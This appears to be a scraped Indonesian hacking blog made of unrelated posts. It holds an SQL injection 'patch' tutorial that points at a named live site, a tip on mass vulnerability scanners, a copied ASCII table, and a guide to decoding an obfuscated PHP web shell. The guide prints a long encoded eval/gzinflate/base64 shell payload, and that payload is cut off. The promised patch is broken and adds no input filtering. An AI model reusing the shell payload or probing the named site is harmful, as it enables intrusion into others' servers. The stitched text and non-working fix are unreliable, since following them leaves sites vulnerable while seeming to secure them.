SiPengembara Gila

Assalamuallaikum.. kali ini saya mau berbagi tutorial Patch bug SQLi atau SQL Injection.


Bug ini merupakan bug yang terlihat terlalu sepele namun sangat besar bahayanya. karena dengan bug ini, hacker dapat mengeksrtak serta mencuri dan semua data pada database situs, termasuk user admin serta password atau juga data valid kartu kredit jika website yang diserang berupa shopping Web.

Salah satu kasus di Indonesia adalah website resmi Polri yang kena bobol berkali-kali karena sang admin yang bisa dibilang tidak tahu security karena bug se tenar SQLi aja tidak tahu.

Ada juga server balitbang juga kena retas. Penyebabnya adalah exploit 0day pada CMS Balitbang yang sering digunakan situs sekolah. Exploitnya ditemukan oleh team sec7or. Dan parahnya lagi, si attacker/hacker berhasil melakukan rooting atau previledge escallation dengan memanfaatkan exploit kernel. Sehingga web yang satu server dengan balitbang akan terkena dampaknya. Ibarat kata, tumbang satu, tumbang semua. Berikut adalah daftar situs yang terkena imbas dari rooting server balitbang tersebut: http://pastebin.com/j0tirM4G

Nih Mirrornya : http://www.zone-h.org/mirror/id/23402942?zh=2  

Percuma kalo tampilan web bener lagi, tapi ujung-ujungnya juga ntar masih ada bug SQLi-nya. Untuk itu saya membuat artikel ini. Semoga admin-admin di indonesia bisa lebih sadar akan ancaman cyber crime dan selalu belajar mengenai security.




Langsung ssaja... 
target saya : http://www.mohiniwebsolution.in/csl/gallery.php?id=2' 


sekarang kita coba buka file ini dengan text editor, bisa notepad, wordpad, atau kalau ane sih sukanya pake notepad++ just info ;) hehehehe. Ini dia sebagian isi dari filenya : (disini saya file galerry.php)

<?php include 'admin/db.php' ?>
<?php
$id=$_GET['id'];
if($id!="")
{
$sql6=" WHERE category=$id";
}
?>

Bugnya ada di script bagian ini : <?php $id=$_GET['id'];

tidak adanya filter di $_GET[postid] menyebabkan web ini vulnerable. Oke script penyebab ini semua telah kita temukan, sekarang saatnya patching. Tambahkan script ini diatas script vulnerable diatas :

<?php include 'admin/db.php' ?>
<?php
//filter start here
$postid= $_GET['postid'];
$ip = GETENV("REMOTE_ADDR");

if($id!="")
{
$sql6=" WHERE category=$id";
}
?>

sekarang coba buka lagi page vulnerable dan tambahkan single quote(‘) dan tarra proses patching telah berhasil

How to make mass scanners without http: // or https: //  in php ?
I use example revslider scanners mass use http:// to mass not use http://
Script by Magnom Codersleet team
This easy but for beginner ? 
This example  screenshot  using http: // or https: //
See Script 


how to make mass scanners without http: // or https: //  ?
Look Screen shot
Add "$http="http://"; in ur script and add get ($http)
Example in ScreenShot

This Simple :D
Ok thanks

DEC	OCT	HEX	BIN	Symbol	HTML Number	HTML Name	Description
0	000	00	00000000	NUL	�		Null char
1	001	01	00000001	SOH			Start of Heading
2	002	02	00000010	STX			Start of Text
3	003	03	00000011	ETX			End of Text
4	004	04	00000100	EOT			End of Transmission
5	005	05	00000101	ENQ			Enquiry
6	006	06	00000110	ACK			Acknowledgment
7	007	07	00000111	BEL			Bell
8	010	08	00001000	BS			Back Space
9	011	09	00001001	HT				Horizontal Tab
10	012	0A	00001010	LF	
		Line Feed
11	013	0B	00001011	VT			Vertical Tab
12	014	0C	00001100	FF			Form Feed
13	015	0D	00001101	CR	
		Carriage Return
14	016	0E	00001110	SO			Shift Out / X-On
15	017	0F	00001111	SI			Shift In / X-Off
16	020	10	00010000	DLE			Data Line Escape
17	021	11	00010001	DC1			Device Control 1 (oft. XON)
18	022	12	00010010	DC2			Device Control 2
19	023	13	00010011	DC3			Device Control 3 (oft. XOFF)
20	024	14	00010100	DC4			Device Control 4
21	025	15	00010101	NAK			Negative Acknowledgement
22	026	16	00010110	SYN			Synchronous Idle
23	027	17	00010111	ETB			End of Transmit Block
24	030	18	00011000	CAN			Cancel
25	031	19	00011001	EM			End of Medium
26	032	1A	00011010	SUB			Substitute
27	033	1B	00011011	ESC			Escape
28	034	1C	00011100	FS			File Separator
29	035	1D	00011101	GS			Group Separator
30	036	1E	00011110	RS			Record Separator
31	037	1F	00011111	US			Unit Separator

ASCII printable characters (character code 32-127) Codes 32-127 are common for all the different variations of the ASCII table, they are called printable characters, represent letters, digits, punctuation marks, and a few miscellaneous symbols. You will find almost every character on your keyboard. Character 127 represents the command DEL.

DEC	OCT	HEX	BIN	Symbol	HTML Number	HTML Name	Description
32	040	20	00100000		 		Space
33	041	21	00100001	!	!		Exclamation mark
34	042	22	00100010	"	"	"	Double quotes (or speech marks)
35	043	23	00100011	#	#		Number
36	044	24	00100100	$	$		Dollar
37	045	25	00100101	%	%		Procenttecken
38	046	26	00100110	&	&	&	Ampersand
39	047	27	00100111	'	'		Single quote
40	050	28	00101000	(	(		Open parenthesis (or open bracket)
41	051	29	00101001	)	)		Close parenthesis (or close bracket)
42	052	2A	00101010	*	*		Asterisk
43	053	2B	00101011	+	+		Plus
44	054	2C	00101100	,	,		Comma
45	055	2D	00101101	-	-		Hyphen
46	056	2E	00101110	.	.		Period, dot or full stop
47	057	2F	00101111	/	/		Slash or divide
48	060	30	00110000	0	0		Zero
49	061	31	00110001	1	1		One
50	062	32	00110010	2	2		Two
51	063	33	00110011	3	3		Three
52	064	34	00110100	4	4		Four
53	065	35	00110101	5	5		Five
54	066	36	00110110	6	6		Six
55	067	37	00110111	7	7		Seven
56	070	38	00111000	8	8		Eight
57	071	39	00111001	9	9		Nine
58	072	3A	00111010	:	:		Colon
59	073	3B	00111011	;	&#59;		Semicolon
60	074	3C	00111100	<	&#60;	&lt;	Less than (or open angled bracket)
61	075	3D	00111101	=	&#61;		Equals
62	076	3E	00111110	>	&#62;	&gt;	Greater than (or close angled bracket)
63	077	3F	00111111	?	&#63;		Question mark
64	100	40	01000000	@	&#64;		At symbol
65	101	41	01000001	A	&#65;		Uppercase A
66	102	42	01000010	B	&#66;		Uppercase B
67	103	43	01000011	C	&#67;		Uppercase C
68	104	44	01000100	D	&#68;		Uppercase D
69	105	45	01000101	E	&#69;		Uppercase E
70	106	46	01000110	F	&#70;		Uppercase F
71	107	47	01000111	G	&#71;		Uppercase G
72	110	48	01001000	H	&#72;		Uppercase H
73	111	49	01001001	I	&#73;		Uppercase I
74	112	4A	01001010	J	&#74;		Uppercase J
75	113	4B	01001011	K	&#75;		Uppercase K
76	114	4C	01001100	L	&#76;		Uppercase L
77	115	4D	01001101	M	&#77;		Uppercase M
78	116	4E	01001110	N	&#78;		Uppercase N
79	117	4F	01001111	O	&#79;		Uppercase O
80	120	50	01010000	P	&#80;		Uppercase P
81	121	51	01010001	Q	&#81;		Uppercase Q
82	122	52	01010010	R	&#82;		Uppercase R
83	123	53	01010011	S	&#83;		Uppercase S
84	124	54	01010100	T	&#84;		Uppercase T
85	125	55	01010101	U	&#85;		Uppercase U
86	126	56	01010110	V	&#86;		Uppercase V
87	127	57	01010111	W	&#87;		Uppercase W
88	130	58	01011000	X	&#88;		Uppercase X
89	131	59	01011001	Y	&#89;		Uppercase Y
90	132	5A	01011010	Z	&#90;		Uppercase Z
91	133	5B	01011011	[	&#91;		Opening bracket
92	134	5C	01011100	\	&#92;		Backslash
93	135	5D	01011101	]	&#93;		Closing bracket
94	136	5E	01011110	^	&#94;		Caret - circumflex
95	137	5F	01011111	_	&#95;		Underscore
96	140	60	01100000	`	&#96;		Grave accent
97	141	61	01100001	a	&#97;		Lowercase a
98	142	62	01100010	b	&#98;		Lowercase b
99	143	63	01100011	c	&#99;		Lowercase c
100	144	64	01100100	d	&#100;		Lowercase d
101	145	65	01100101	e	&#101;		Lowercase e
102	146	66	01100110	f	&#102;		Lowercase f
103	147	67	01100111	g	&#103;		Lowercase g
104	150	68	01101000	h	&#104;		Lowercase h
105	151	69	01101001	i	&#105;		Lowercase i
106	152	6A	01101010	j	&#106;		Lowercase j
107	153	6B	01101011	k	&#107;		Lowercase k
108	154	6C	01101100	l	&#108;		Lowercase l
109	155	6D	01101101	m	&#109;		Lowercase m
110	156	6E	01101110	n	&#110;		Lowercase n
111	157	6F	01101111	o	&#111;		Lowercase o
112	160	70	01110000	p	&#112;		Lowercase p
113	161	71	01110001	q	&#113;		Lowercase q
114	162	72	01110010	r	&#114;		Lowercase r
115	163	73	01110011	s	&#115;		Lowercase s
116	164	74	01110100	t	&#116;		Lowercase t
117	165	75	01110101	u	&#117;		Lowercase u
118	166	76	01110110	v	&#118;		Lowercase v
119	167	77	01110111	w	&#119;		Lowercase w
120	170	78	01111000	x	&#120;		Lowercase x
121	171	79	01111001	y	&#121;		Lowercase y
122	172	7A	01111010	z	&#122;		Lowercase z
123	173	7B	01111011	{	&#123;		Opening brace
124	174	7C	01111100	|	&#124;		Vertical bar
125	175	7D	01111101	}	&#125;		Closing brace
126	176	7E	01111110	~	&#126;		Equivalency sign - tilde
127	177	7F	01111111		&#127;		Delete

The extended ASCII codes (character code 128-255)

DEC	OCT	HEX	BIN	Symbol	HTML Number	HTML Name	Description
128	200	80	10000000	€	€	€	Euro sign
129	201	81	10000001
130	202	82	10000010	‚	‚	‚	Single low-9 quotation mark
131	203	83	10000011	ƒ	ƒ	ƒ	Latin small letter f with hook
132	204	84	10000100	„	„	„	Double low-9 quotation mark
133	205	85	10000101	…	…	…	Horizontal ellipsis
134	206	86	10000110	†	†	†	Dagger
135	207	87	10000111	‡	‡	‡	Double dagger
136	210	88	10001000	ˆ	ˆ	ˆ	Modifier letter circumflex accent
137	211	89	10001001	‰	‰	‰	Per mille sign
138	212	8A	10001010	Š	Š	Š	Latin capital letter S with caron
139	213	8B	10001011	‹	‹	‹	Single left-pointing angle quotation
140	214	8C	10001100	Œ	Œ	Œ	Latin capital ligature OE
141	215	8D	10001101
142	216	8E	10001110	Ž	Ž		Latin captial letter Z with caron
143	217	8F	10001111
144	220	90	10010000
145	221	91	10010001	‘	‘	‘	Left single quotation mark
146	222	92	10010010	’	’	’	Right single quotation mark
147	223	93	10010011	“	“	“	Left double quotation mark
148	224	94	10010100	”	”	”	Right double quotation mark
149	225	95	10010101	•	•	•	Bullet
150	226	96	10010110	–	–	–	En dash
151	227	97	10010111	—	—	—	Em dash
152	230	98	10011000	˜	˜	˜	Small tilde
153	231	99	10011001	™	™	™	Trade mark sign
154	232	9A	10011010	š	š	š	Latin small letter S with caron
155	233	9B	10011011	›	›	›	Single right-pointing angle quotation mark
156	234	9C	10011100	œ	œ	œ	Latin small ligature oe
157	235	9D	10011101
158	236	9E	10011110	ž	ž		Latin small letter z with caron
159	237	9F	10011111	Ÿ	Ÿ	ÿ	Latin capital letter Y with diaeresis
160	240	A0	10100000		 	 	Non-breaking space
161	241	A1	10100001	�	¡	¡	Inverted exclamation mark
162	242	A2	10100010	�	¢	¢	Cent sign
163	243	A3	10100011	�	£	£	Pound sign
164	244	A4	10100100	�	¤	¤	Currency sign
165	245	A5	10100101	�	¥	¥	Yen sign
166	246	A6	10100110	�	¦	¦	Pipe, Broken vertical bar
167	247	A7	10100111	�	§	§	Section sign
168	250	A8	10101000	�	¨	¨	Spacing diaeresis - umlaut
169	251	A9	10101001	�	©	©	Copyright sign
170	252	AA	10101010	�	ª	ª	Feminine ordinal indicator
171	253	AB	10101011	�	«	«	Left double angle quotes
172	254	AC	10101100	�	¬	¬	Not sign
173	255	AD	10101101	�	­	­	Soft hyphen
174	256	AE	10101110	�	®	®	Registered trade mark sign
175	257	AF	10101111	�	¯	¯	Spacing macron - overline
176	260	B0	10110000	�	°	°	Degree sign
177	261	B1	10110001	�	±	±	Plus-or-minus sign
178	262	B2	10110010	�	²	²	Superscript two - squared
179	263	B3	10110011	�	³	³	Superscript three - cubed
180	264	B4	10110100	�	´	´	Acute accent - spacing acute
181	265	B5	10110101	�	µ	µ	Micro sign
182	266	B6	10110110	�	¶	¶	Pilcrow sign - paragraph sign
183	267	B7	10110111	�	·	·	Middle dot - Georgian comma
184	270	B8	10111000	�	¸	¸	Spacing cedilla
185	271	B9	10111001	�	¹	¹	Superscript one
186	272	BA	10111010	�	º	º	Masculine ordinal indicator
187	273	BB	10111011	�	»	»	Right double angle quotes
188	274	BC	10111100	�	¼	¼	Fraction one quarter
189	275	BD	10111101	�	½	½	Fraction one half
190	276	BE	10111110	�	¾	¾	Fraction three quarters
191	277	BF	10111111	�	¿	¿	Inverted question mark
192	300	C0	11000000	�	À	À	Latin capital letter A with grave
193	301	C1	11000001	�	Á	Á	Latin capital letter A with acute
194	302	C2	11000010	�	Â	Â	Latin capital letter A with circumflex
195	303	C3	11000011	�	Ã	Ã	Latin capital letter A with tilde
196	304	C4	11000100	�	Ä	Ä	Latin capital letter A with diaeresis
197	305	C5	11000101	�	Å	Å	Latin capital letter A with ring above
198	306	C6	11000110	�	Æ	Æ	Latin capital letter AE
199	307	C7	11000111	�	Ç	Ç	Latin capital letter C with cedilla
200	310	C8	11001000	�	È	È	Latin capital letter E with grave
201	311	C9	11001001	�	É	É	Latin capital letter E with acute
202	312	CA	11001010	�	Ê	Ê	Latin capital letter E with circumflex
203	313	CB	11001011	�	Ë	Ë	Latin capital letter E with diaeresis
204	314	CC	11001100	�	Ì	Ì	Latin capital letter I with grave
205	315	CD	11001101	�	Í	Í	Latin capital letter I with acute
206	316	CE	11001110	�	Î	Î	Latin capital letter I with circumflex
207	317	CF	11001111	�	Ï	Ï	Latin capital letter I with diaeresis
208	320	D0	11010000	�	Ð	Ð	Latin capital letter ETH
209	321	D1	11010001	�	Ñ	Ñ	Latin capital letter N with tilde
210	322	D2	11010010	�	Ò	Ò	Latin capital letter O with grave
211	323	D3	11010011	�	Ó	Ó	Latin capital letter O with acute
212	324	D4	11010100	�	Ô	Ô	Latin capital letter O with circumflex
213	325	D5	11010101	�	Õ	Õ	Latin capital letter O with tilde
214	326	D6	11010110	�	Ö	Ö	Latin capital letter O with diaeresis
215	327	D7	11010111	�	×	×	Multiplication sign
216	330	D8	11011000	�	Ø	Ø	Latin capital letter O with slash
217	331	D9	11011001	�	Ù	Ù	Latin capital letter U with grave
218	332	DA	11011010	�	Ú	Ú	Latin capital letter U with acute
219	333	DB	11011011	�	Û	Û	Latin capital letter U with circumflex
220	334	DC	11011100	�	Ü	Ü	Latin capital letter U with diaeresis
221	335	DD	11011101	�	Ý	Ý	Latin capital letter Y with acute
222	336	DE	11011110	�	Þ	Þ	Latin capital letter THORN
223	337	DF	11011111	�	ß	ß	Latin small letter sharp s - ess-zed
224	340	E0	11100000	�	à	à	Latin small letter a with grave
225	341	E1	11100001	�	á	á	Latin small letter a with acute
226	342	E2	11100010	�	â	â	Latin small letter a with circumflex
227	343	E3	11100011	�	ã	ã	Latin small letter a with tilde
228	344	E4	11100100	�	ä	ä	Latin small letter a with diaeresis
229	345	E5	11100101	�	å	å	Latin small letter a with ring above
230	346	E6	11100110	�	æ	æ	Latin small letter ae
231	347	E7	11100111	�	ç	ç	Latin small letter c with cedilla
232	350	E8	11101000	�	è	è	Latin small letter e with grave
233	351	E9	11101001	�	é	é	Latin small letter e with acute
234	352	EA	11101010	�	ê	ê	Latin small letter e with circumflex
235	353	EB	11101011	�	ë	ë	Latin small letter e with diaeresis
236	354	EC	11101100	�	ì	ì	Latin small letter i with grave
237	355	ED	11101101	�	í	í	Latin small letter i with acute
238	356	EE	11101110	�	î	î	Latin small letter i with circumflex
239	357	EF	11101111	�	ï	ï	Latin small letter i with diaeresis
240	360	F0	11110000	�	ð	ð	Latin small letter eth
241	361	F1	11110001	�	ñ	ñ	Latin small letter n with tilde
242	362	F2	11110010	�	ò	ò	Latin small letter o with grave
243	363	F3	11110011	�	ó	ó	Latin small letter o with acute
244	364	F4	11110100	�	ô	ô	Latin small letter o with circumflex
245	365	F5	11110101	�	õ	õ	Latin small letter o with tilde
246	366	F6	11110110	�	ö	ö	Latin small letter o with diaeresis
247	367	F7	11110111	�	÷	÷	Division sign
248	370	F8	11111000	�	ø	ø	Latin small letter o with slash
249	371	F9	11111001	�	ù	ù	Latin small letter u with grave
250	372	FA	11111010	�	ú	ú	Latin small letter u with acute
251	373	FB	11111011	�	û	û	Latin small letter u with circumflex
252	374	FC	11111100	�	ü	ü	Latin small letter u with diaeresis
253	375	FD	11111101	�	ý	ý	Latin small letter y with acute
254	376	FE	11111110	�	þ	þ	Latin small letter thorn
255	377	FF	11111111	�	ÿ	ÿ	Latin small letter y with diaeresis

Thank's For Sourcode : http://www.ascii-code.com/

Brem brem :D :D

Sebelum Membahas thread ini , saya mau blg dulu supaya ini tidak terjadi kesalahan pemahaman , saya memberi tahu ini supaya pengalaman kita bertambah ..

Dan sejujurnya kita mendecode shell orang lain itu tidak apa-apa , asalkan jangan di edit Pembuatannya entar pada emosi :emosi:

Oke bro ?
[quote]Inget thread ini hanya membahas tidak untuk merusak code code untuk pembuatny[/quote]

Langsung .. disini kita tidak perlu alat2 apa pun , menggunakan alat membuat kita semakin bodoh dalam belajar :mewek:

Pertama sedia kan shell yang terenkripsi php encode yang berbentuk hex .

Mungkin melihat begini saja buat kita kaget , (bagaimana sih encode ini shellnya").

Bahkan susah itu tidak seperti yang kita lihat .

Buat yang pnya shell maaf yo :D cuman buat belajar aja bukan karena sok hebat atau apa .

http://prntscr.com/35taol

Encode nya terlihat susah kan :( , ditahun 2011 saya mendapatkan shell ini untuk belajar decode shell .. tapi alhamdulillah udah bisa :D karena hanya try & error saja , saya bisa :D kwkwkw

Sebelumnya , bahasa ni dikenal dengan bahasa Hex .. sekarang bagaimana untuk mengdecode kan he ini ? apakah tinggal copy terus paste ke decode hex online ? wogh tidak dong mas bro , masi ada yang harus di kotak katik :D :D

Pertama , Kita bongkar dolo code hex nya ini , yaitu dengan menghapus code \x ganti menjadi  (spasi)



Jika sudah kita copy lagi code hex nya ke sini http://www.asciitohex.com/ .

Lalu masukin code nya ke hexdecimal lalu convert .


Sekarang copy kode $syntax

Lalu decode hex yang ke duanya ..


Sekarang kita akan decode shellnya :D :D

Pertama agan liat code eval dibawah nya :D yaitu eval(gzinflate(base64_decode(str_rot13(strrev($syntax)

Lihat ,, yang dilihat jangan sebelah evalnya tetapi $syntax :D

masi belum ngerti ?? ,

Eval adalah sautu perintah untuk mengevaluasikan suatu string pada php .. sekarang eval sedang mengevaluasikan string $syntax bukan gzinflat blabla itu okey jangan tertipu akan daya php ini :D kwkwwkkw ..

Jadi bagaimanakah kita pecahkan decode ni seperti semula ??

Sekarang kita susun kembali menjadi


<? eval(gzinflate(base64_decode(str_rot13(strrev(==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